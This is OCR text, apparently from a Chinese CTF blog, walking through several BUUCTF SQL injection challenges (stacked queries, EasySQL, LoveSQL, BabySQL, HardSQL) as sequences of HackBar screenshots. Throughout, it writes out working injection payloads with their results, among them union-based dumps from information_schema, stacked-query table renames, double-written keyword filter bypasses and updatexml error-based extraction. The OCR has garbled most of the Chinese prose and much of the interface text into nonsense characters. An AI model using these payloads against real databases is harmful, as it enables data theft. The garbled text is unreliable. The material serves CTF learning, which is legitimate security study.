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HM?EﬁE*Hh%é,nﬁ—ﬂﬁ Hﬁﬁiﬁﬂ—*j

w1 s tusT )

WAFRAEERESE, Qii—aiE: FRNZER—AH

21 I=arEf
array (2) {

[ol=>

string(1l) "17

[11=>

string (7) “hahahah”

IV I W ST VE m N | TAUI ST Nl ¢ WYY CwS VI T & B Wl ey m iy v [ -

=1 e
rrrrr 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near



Ui B A 5 AT
2. 1" order by ﬁﬁ??ﬁiﬁb 19t AP

HM?EREEKﬁﬁﬁ,Aﬁ—Eﬁ Hﬁmﬁéﬁ—xj

B |1' order by 2# || EarEf |

array(2) {
[o]=>
string(l) "1”7
[1]1=>
string(7) “hahahah”
}

e g = = e e

HMTE E*H %é,nﬁ—ﬂﬁ HEW&%H—*T

B | 1' order by 3# || |

error 1054 : Unknown column '3’ in "order clause’

FERBRETEN, Klselect#id v, ®WHKIEAT XLEHL, ZHHFEBEN.

1'; show tables;

©'; show tables;



WEFFERXREERIRSE, RQi—aE: FARNIRSR—F0

2z | 1'; show tables;#| | F=ra=o)

array (2) {

[ol=

string(1) "1”

[1]=

string(7) “hahahah”
}

array(l) {

[ol=

string (16) “1919810931114514"
}

array (1) {
[ol=

string (5) “words”

WFFRAEERESE, RQiR—2ih: ARHESR—4FT

. |0'; show tables; #| H EAraEn) |
array(l) {
[ol=>

string(16) ”1919810931114514"

array(l) {
[01=>
string(5) “words”

1

'; show columns from “words";

'; show columns from ~1919810931114514" ;

EERPLAHMNAREE AR 45, ATUARTS




W FREAEEMRESE, Rin—0iE: ARNRSR—AT

=2 blumns from “words” ; #| Bl

array(6) |
[01=>
string(2) "id”
[11=>
string(7) “int(10)”
[21=>
string(2) "NO”
[3]=>
string(0) "
[4]=>
NULL
[5]=>
string(0) ”
}

array(6) {
[01=>
string(4) “data”
[1]1=>
string(11) “varchar (20)”
[2]=>
string(2) "NO”

[5]=>
string(0) 7"

BFRAEERIRSE, Rii—aiE: ARNRSR—4AT

2 [1919810031114514° ;2] | TEAe

array(6) {
ol=>
string(4) "flag”
[1]1=>
string(12) “varchar(100)”
[2]=>
string(2) “NO”
[3]=>
string(0) ””
[4]=>
NULL
[5]=>
string(0) 7~

5.2 M%%, flag 7F 1919810931114514 K H, AJLAFE F| words REBFHA B, BIHF): id Ml data . 1M 1919810931114514 K
BHRAE-NBHF VAR AER BEE MK Z words . BRI 1919810931114514 K4 N words &, EEMHES flag X
ANid, RIEM 12 or 1=1;# B8 flag 113k

';rename table “words® to words2; SeEwords 2R 3R B e pl HoAh
';rename table "1919810931114514° to “words ;

; show tables;

1
1
1'; alter table words change flag varchar(100);
1
1

; show columns from words;



BHFRXEERRESE, Qii—0iE FRARSR—AT

i | ble “words™ to words2; || =arE |

array(2) {
[ol=>»
string(1) “1”
[11=
string(7) “hahahah”
}

varchar BEUREIZFFE . HIR, BREENAIBKERFZ/RFERR. eg: select varchar (name,50) from test --50 NEL
BKE, mRname7 48 KK ERT50, MRE"sQLeassw B CHEM.

[SUCTF 2019]EasySQL



1. 5 E—RMARKER, MANF2EEEEHHER, MESRERR.

Give me your flag, | will tell you if the flag is right.
i =550

Array ([0] => 1)

Give me your flag, | will tell you if the flag is night.
E =0

Array ([0] => 1)

2. BN, BAERE, WHEESQVEN, BEIAERIREENK T
3. fFHorder by&EWFE, RIAorder bysHEINJLERE—E, NTETEEE#E T order by F B,

Give me your flag, | will tell you if the flag is night.
|1 order by 1#] I | EarE |

Nonono.

4. HERR T IMETEANRER S ERIEAN, BATTAZRA/REN, KB B4R KIBW E.

1 and length(database

1' and length(database




Give me your flag, | will tell you if the flag is right.
|3ngth{database(])>=1#| {ERrEA |

Nonono.

<« - OC U ® d171214f-d4c3-417d-ab23-7c7e028f3816.node3.buuoj.cn
B EABE. Oaf DO®F @ T EmRED | Y. B S0EFILAFPytho... [ mERE Ipittngsie ) GitHub - iamshu

Give me your flag, | will tell you if the flag is right.
angth(database())>=1#|| ERrE |

Nonono.

5. A4k 8= 18 B i

1 and if(length(database())>=1,1,sleep(5))

' and if(length(database())>=1,1,sleep(5))



Give me your flag, | will tell you if the flag is night.
|ase())>=1,1,sleep(5))#| | 232 |

Nonono.

Give me your flag, | will tell you if the flag is right.
||1‘ and if(length(databasl E=n)

Nonono.

ROLE BARRAF
6. RMNALEZAHEREN

1;show databases

Give me your flag, | will tell you if the flag is right. 3=
|1;5h0w databases#]| | | im3reEs) |

Array ([0] => 1) Array ( [0] => ctf) Array ([0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test)

1;show tables

Give me your flag, | will tell you if the flag is right.
| 1;show tables# F="=5:]

Array ([0] => 1) Array ( [0] => Flag )

1;show columns from Flag



Give me your flag, | will tell you if the flag is right.
1;show columns from Fi| | IE3FE51A] |

Nonono.

7 XRHMERMN BRI ERATHA ST, XIESEFERNEN G 5E TN
—. BANEZHFEINE B RFHFEARE E=>RK AW AR EREATRELES ||
Z. it Eselect AR || NEK—FIE from RE=>R14

select posti#fLMHHE | |flag from Flag(FRLIEMRSE, BELHEBENTT)

R (|62 28 FX 4 L R or B VE o
8. N EMsqlizfa A

sql=“select”.post[ ‘query’].

R $post] query I EHE N* 1, sqiEAIHIAERL T

select *,1||flag from Flag

select *,1 from Flag

Give me your flag, | will tell you if the flag is right.
*1 (=500

Array ( [0] => flag{a7c19423-dfac-4d95-b37d-9a8f5cb8d476} [1] => 1)

w1 FEHXA 1 AT M | | BRAERF (Hi23456) MAFEERRL RN,
[#% % A $kik 2019]LoveSQL
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You have an error in your SQL syntax; check thec-manual-that corresponds-toyour MariaDB server version for the right syntax to use near "1" at line 1

Syclover @ clqay

N O=sg O=8a OB NRs (IeteEs Ques Drr BER  TEsKs 8 wEss @ Hacksar g) e X

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~ Contribute now! Hac

@ Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc34 3.node4.buucj.cn/check.php?usemame=1' &password=1
Split URL
» Y

» Execute
Post data Referer User Agent Cookies Clear All

ZRAREN, FRRY, SGRZAPRIEH flag .

Hello admin!
Your password is '3c070dc3983eaf157e5a4bb7af853ab7"

ver @ cliy
O O=ss D=is DEdE NRe ((ateEs Ous Ors BEr f FEERE 8 uEEs @ Hacksar g] = X
Encn ~ Encoding~ SQL~ XSS~ Other~ Contribute now! HackB:
@ Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4.buuoj.cn/check php?usemname=admin’ or '1'="1&password=admin
Split URL
= 7

») Execute
Post data Referer User Agent Cookies Clear All

BATEHM order by B FEFFIE

Pusername=admin' order by 3



Syclover @ clay

X O=sa Deaz Owsw NEs Ostssn Ousw Ons Bze F z=sss 8 wses @ Hadsar @ e x

Encryption + Encoding~ SQL~ XSS~ Other~ Contribute now! HackBar v2

@ Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4 buuoj.cn/check. php?username=admin’ order by 3# password=admin
i spit URL

» ) Execute

Bt A D PSR Aelian Alece AN

BE url &b, RIFRB url HbS, AT CLZ=pURERAT # #E1T url Saf, 18217 BREONS

i - \_“_,
Hello admin! S~ .
Your Q?SS@V\CII()er is '3c070dc3983eaf157e5a4bb7af853ab7’

over

G O=58 D8 O\ss Neg Oetesg Oue Ons Des ¥ oEEFE 8 oAEs @ Hadbsr ] - ¥

Encryption » Encodingv SQL~ XSS~ Other Contribute now! HackBar v2

@i Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.noded.buuoj.cn/check.php?username=admin’ order by 3%23 &password=admin
4 split URL

») Execute
Post data Referer User Agent Cookies Clear All

“Untknown column n ‘order clause’

Syclover @ clay

R Os=sz Oeeg Omss NEE Oetess Ods O B & omevs 6 oser @ Hadsar @ e X
Encryption + Encoding~ SQL~ XSS~ Other~ Contribute now! HackBar v2
g Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4.buuoj.cn/check.php?username=admin’ order by 4%23 &password=admin
i spitURL

» ) Execute
Post data Referer User Agent Cookies Clear All

n select 1,2,3 password=admin




Syclover @ clay

& Os=ss Oess Omes Nms OssseEs Ouns Ons Bae & cmems 8 oeer @ Haddar @ e x
Encryption + Encoding~ SQL~ XSS~ Other~ Contribute now! HackBar v2
@ Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4 .buuoj.cn/check.php?username=admin' order by 3# password=admin
i spit URL

» ) Execute

Bt A D PSR Aelian Alece AN

B & IR Bl

sségvord is 'geek’

clqy

R O=ss Dews ODmcs Nms Oetess Ode One Bos # oomvs @ osis @ Heddar 0 e X

Encryption + Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2
& Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4 .buuoj.cn/icheck.php?username=-1' union select 1,2,database()%23 &password=admin
q'{: Split URL

» 1 Execute
Post data Referer User Agent Cookies Clear All

Pusername=-1
password=admin

Hello 2!
Your password is 'geekuser,|0ve1ysq1’

R O=fs Oews Owss NAs Owntess QOun Onr Bk & 22878 0 EAET @ Haddx ] e X
Encryption + Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4.buuoj.cn/check.php?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where
table_schema='geek'%23 &password=admin|

i spitURL

» Execute
Post data Referer User Agent Cookies Clear All

BFE lovelysql BHHIFE



password=admin

Your password is 'geekuser,|0ve1ysq1’

ver @ clqy

R O=tz Dews Duse NEs Ossssx Ouse Ong Bas F oeess . @ - X
Encryption + Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2
& Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4.buuoj.cn/check.php?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where
table_schema='geek'%23 &password=admin\

% split URL

» Execute
Post data Referer User Agent Cookies Clear All

BFE geekuser B FE

fusername=-1
ser'%23 &password=admin

Hello 2!
Your sEj)ﬂgssg/vord is 'id,username,password’

ver @ clqy

R Os=sz Oeeg Omss NEm Qatesms Ods Oz Bee F mavs By @ HackBar 0 e X
Encryption + Encoding~ SQL~ XSS~ Other~ Contribute now! HackBar v2
& Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.node4 .buuoj.cn/check.php?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where
= table_name='geekuser'%23 &password=admin
§ split URL
4
» ) Execute

Post data Referer User Agent Cookies Clear All

BE geekuser FBH K password HI{E

Pusername union select 1,2,group_concat(password) from geek.geekuser’%23 &password=admin



Hello 2! - SN
Your password is '3c070dc3983eaf157e5a4bb7af853ab7’

ver
& Os=ss Dess DuEws Nms Osstses Ooe OGns Bee F zesw

En N Enc Othel Contribute now! Ha
@ Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.noded.buuoj.cn/check.php?username=-1' union select 1,2,group_concat(password) from geek.geekuser%23 &password=admin
d'b Split URL

» ) Execute
Post data Referer User Agent Cookies Clear All

BE lovelysql FEH [ password HIfH, 153 flag .

Pusername=-1"' union select 1,2,group concat(password) from geek.lOvelysql%23 &password=admin

y \___’____
.
ldi_4 kuai_fu_ji,di_5 kuai_fu_ji,di_ 6 kuai_fu_ji,di_7 kuai_fu ji,di_8_ kuai_fu_ji,Syc_san_da_hacker,flag{4e16fafa

O=sg Dess Ow=s Nag Ousssg Ouww O ng Bos F ==

SQL ~ XSS~ Other Contribute now!

@ Load URL http://8590e9e5-7948-4947-8272-6a2a3ffcc343.noded .buuoj.cn/check.php?username=-1" union select 1,2,group_concat(password) from geek.|0ve1ysq1%23 &password:admin\
& split URL

» ) Execute
Post data Referer User Agent Cookies Clear All

AMRATILA Mk B, AT KGPAEMT PRARGEE, RNALZERE! ||
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le4.buuoj.cn/chec
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Syclover @ clqy

o> O === gaEE OEns N ms {(}estsss Ouse e @ek & oesie 3 wEEs @ Hacksar o
Encoding~ SQL v XSS~ Other ~ Contribute now! Hac
@ Load URL hitp://7bac35e-a697-4ddc-a5a5-f4a8804177 14.node4.buuoj.cn/check.php?usemame=1' &password=admin
@ Split URL
& ﬁ J) -’

+) Execute

Post data Referer User Agent Cookies Clear All

IR E LR, BRI

?username=admin’ password=1



Hello admin! S
Your password is '995611b92db7295a072072¢c5de15adda’

over @ clfy
o O =5 msHE D EdE NRe (JedeEs Qs O B HEsRE 3 uEEs @ Hacksar 0 - X
Encryption ~ Encoding~ SQL ~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://7ba1c35e-a697-4ddc-a5a5-f4a8804{77 14.node4.buuoj.cn/check.php?username=admin’ --+&password=1
Split URL
L o 2
BDEHE
» ) Execute B
Post data Referer User Agent Cookies Clear All

BEMREEL, KIN or PO IE

username=adm der by 3

Syclover @ clay

O O=Ess Oews DEms NEs (detsss Qus One Boi f AEuns 3 wEEs @ Hacksar ) - X

XSS ~ Other v Contribute now! HackB:

@& Load URL http://7ba1c35e-a697-4ddc-a5a5-f4a8804f7714.noded.buuoj.cn/check php?username=admin' order by 3--+&password=1
Spit URL
[ 4
DS
», Execute
Post data Referer User Agent Cookies Clear All

ERNE K 7o

username=adm oorrder by 2

Syclover @ clqgy

O OEEE Dawe OBEE NRE () eseEe Que Jwre BFr § TEERs % AR @ Hackdar g] e X

Encryption ~ Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://7ba1c35e-a697-4ddc-a5a5-f4a880417714.node4.buuoj.cn/check php?username=admin’ oorrder by 2+ &password=1

§, spit URL N e o

{ELR A8 F 75 RE B RS 20 7T LB SR A Th

username=admin 1 1 password=1



‘A FREE

= S—
Hello admin! - S N B
Your password is "995611b92db7295a072072c5de15adda’

B 08 OEHs DESE NRs (I ateEs Oue DR B G oESRs  §§ uEEs .Ha(kBax e X
Encryption ~ Encoding ~ SQL » XSS~ Other « Contribute now! HackBar v2
@ Load URL http://Tba1c35e-a697-4ddc-a5a5-f4aB804f7714.noded.buuoj.cn/check php?userame=admin’ oorr '1'='"1—+ &password=1
§ ot URL E: ) BN = X

») Execute
Post data Referer User Agent Cookies Clear All

P2 RBEATEARIER]), K Iunion selecty 1 it 3k

username=adm select 1,2,3,4

You have an error in your SQL syntax ch he rﬁ\ correspg;ﬁj %DB r vel%s*fo he right syntax to usesnear *

Syclover @ clq4y

> O =% 2 DEdE NRE atmss Ou Ore Bk F AEsis B UEEF @ Hacksar gl e X
Encryption ~ Encoding~ SQL ~ XSS~ Other ~ Contribute now! HackBar v2
& Load URL http://7ba1c35e-a697-4ddc-a5a5-f4a8804f7714.node4.buuoj.cn/check php?username=admin’ union select 1,2,3,4f-+ &password=1
Split URL
& ol P
EBIDY B E
») Execute
Post data Referer User Agent Gookies Clear All

SN G RE T, BEFBHCAS

Pusername=adm non selesele

s;.
Hello admin! _
Your password is '995611b92db7295a072072c5de15adda’
o> O=s% BHe DEdE NRE (OiteEs Que O Bk & Thskis 8 uEes Q HackBar 4] = X
Encryption ~ Encoding~ SQL ~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://7Tba1c35e-a697-4ddc-a5a5-f4a8804f7714.node4.buuoj.cn/check php?username=admin’ uniunionon seleselectct 1,2,3—+ &password=1
& Split URL % & ,' % @
» Execute

Post data Referer User Agent Cookies Clear All

BEEERSEANEEAE

Pusername=1"' uniuni seleselectct 11,22,33 password=1




Hello 22!
Your password is '33'

uer @ clqy
N O=E8F Dews DEdE NREs (astsss QOue Dre Bk & Tesns 88 wmes . HackBar 0] e X
Encryption ~ Encoding~ SQL ~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://7Tba1c35e-a697-4ddc-a5a5-f4a880477 14.node4.buuoj.cn/check.php?username=1' uniunionon seleselectct 11,22,33--+ &p d=1
§ it URL

. =
BxDBHE
» ) Execute

Post data Referer User Agent Cookies Clear All

L BEERIEEN geek

sername=1 i seleselec atabase()

Hello 22!
Your password is 'geek’

over @
» O =5 B D EdE NEE ()HREEE OBx O ns DR T AEEHES 5 TEES @ Hokbar ) - X
Encryption ~ Encoding ~ SQL ~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL http://7ba1c35e-a697-4ddc-a5a5-f4a8804f7714.noded.buuoj.cn/check php?username=1' uniunionon seleselectct 11,22, database()—+ &password=1|
§ spiit URL

. 4
BxDBHE
» ) Execute

Post data Referer User Agent Cookies Clear All

HEBEEFERA, KM where. from. or HidiE, WHANEXREBELST. BBFRAN babsql,geekuser

geek' password=1

PRI

Syclover @ clqgy

& O=== e OwEde Nms (deess Que Ors Bee  aewws 8 uses @ Hacksar 0] e X
Encryption v Encoding~ SQL ~ XSS~ Other v Contribute now! HackBar v2
@ Load URL http://610ae81d-84cb-4d 1c-a813-b79ba0f54e85.node4. buuoj.cn/check php?username=1' uniunionon ct 11,22,group_concat(table_name) frfromom infoorrmation_schema tables whwhereere
table_schema='geek'--+8&password=1
& Split URL

», Execute
Bact Anbn Dafarar Hlear Amant Panbine Alans Al

1B % babsql FHIFB 4

b4bsql* password=1




Sl ipias )
= -
] S\%G'Fd |é’1ﬂ—,username,pas§w i
-

N

Syclover @ clay

G Ossx Daws Omss NRzs Oasss Oue Ore B + desws

@ Load URL node4.buuoj.cn/check.phpf
& Split URL

») Execute L
Post data Referer User Agent Cookies Clear All

1B 7B babsql FBH paaaword HI{E, 78Zlflag.

Pusername=1"' uniunionon selselectect 11,22,group_concat(passwoorrd) frfromom geek.b4bsql password=1

N

ornhub,github_is_different_from_pornhub,you_found_flag_so_stop,i_told_you_to_sﬁcw ‘

0 =5 #He DEsE NEs ((atsEs Owe Ows Ber T SRERs RFEEs @ HackBar

Encoding ~ » Dther ~

@ Load URL http://610ae81d-84cb-4d1c-a: ba0f54e85.node4.buuoj.cn/check.php?username=1' uniunionon selselectect 11,22,group_concat(passwoorrd) friromom geek.b4bsgl—+&password=1
| Split URL

» Execute
Dnst Anta

R, XARK, BHZANEBEERA LR E, HAKSLBRIFSALIEAN, &k, BLEAFARE I A0flagT!

https:/blog.csdn.net/m0_55854679




url get

AFTE
- =

Syclover @ clqy

N OBEs Qs DEtE N (etass O Oas DeR f TRERE 5SS @ Hadksar

Encryption + Encoding~v SQL » XSS~ Other~ Cor
& Load URL http://b2955820-6d1b-4b6c-84d1-4bfI8f05b7 11.node4. buuoj.cn:81/check.php?username=aaadpassword=aaa
& Split URL
») Execute
Post data Referer User Agent Cookies Clear All

check.php?username=aaa&password=aaa‘'

ZRP5 SR HIIRE, EEREIR, BUAETRNRTE

3. MWK, THAEBRMASHWER, ERHA%23MTEE, MHERER O kg, FRKREEANKIT, ZHlREE
Ao TP A BB A BTN

4. 1BEA

check.php?username=admin&password=aaa'or(updatexml (1, concat(0x7e,database()),1))%23

check.php?username=admin&password=admin'”extractvalue(1,concat(0x7e,database()))%23
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Encryption + Encoding~ SQL ~ XSS~ Other ~ Contribut
@ Load URL hitp://348ad4f9-00ec-4821-8527-530710ad2251 .node4.buuoj.cn:81/check.php?usemame=admin&password=aaa'or(updatexmi(1,concat(0x7e, database()),1))%23
% spiit URL

admin

')),0x7e),1))%23
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Encryption ~ ing~ SQL~ XSS~ Other ~

@ Load URL http://348ad4f9-00ec-4821-8527-530710ad2251.node4.buuoj.cn:81/check php?username=admin&password=admin'or(updatexml(1,concat(0x7e,
(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7¢e),1))%23
Split URL
L]
») Execute

Post data Referer User Agent Cookies Clear All

H4rDsql')),0x7e),1))%23
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Encryption » Encoding~ SQL ~ XSS~ Other ~

@ Load URL http://348ad4f9-00ec-4821-8527-5307 10ad2251.node4.buuoj.cn:81/check php?username=admin&password=admin'or(updatexmi(1,concat(0x7e,
(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
Split URL
&
» ) Execute

Ponet data Rafarar llsar Acant Conkias Claar All

admin ',password))from(H4rDsql)),0x7e),1))%23
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@ Load URL http://348ad4f9-00ec-4821-8527-530710ad2251.node4 buuoj.cn:81/check.php?username=admin&password=admin'or(updatexmi(1,concat(0x7e,

(select(group_concat(id,'~',username,'~' password))from(H4rDsq1)),0x7e),1))%23
® Split URL

+ ) Execute i
Post data Referer User Agent Cookies Clear All

1. R IETT DMER /**/ B () St

2. = BRSO 1ike Kt

3. substring 5 mid #dIEF LLA right 5 left k&
Hiaifag

r(updatexml(1l,concat e, (select(r (password, 25) )from(H4rDsql)),

| D o & &
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Encryption +

SQL v XSS~ Other v

@ Load URL hitp://348ad4f9-00ec-4821-8527-530710ad2251.node4 . buuoj.cn:8 1/check. php?usemame=admin&password=admin'or(updatexml(1,concat(0x7e,(select(right(password, 25))from(H4rDsq1)),0x7e), 1)) %23
§ spitURL

Vi
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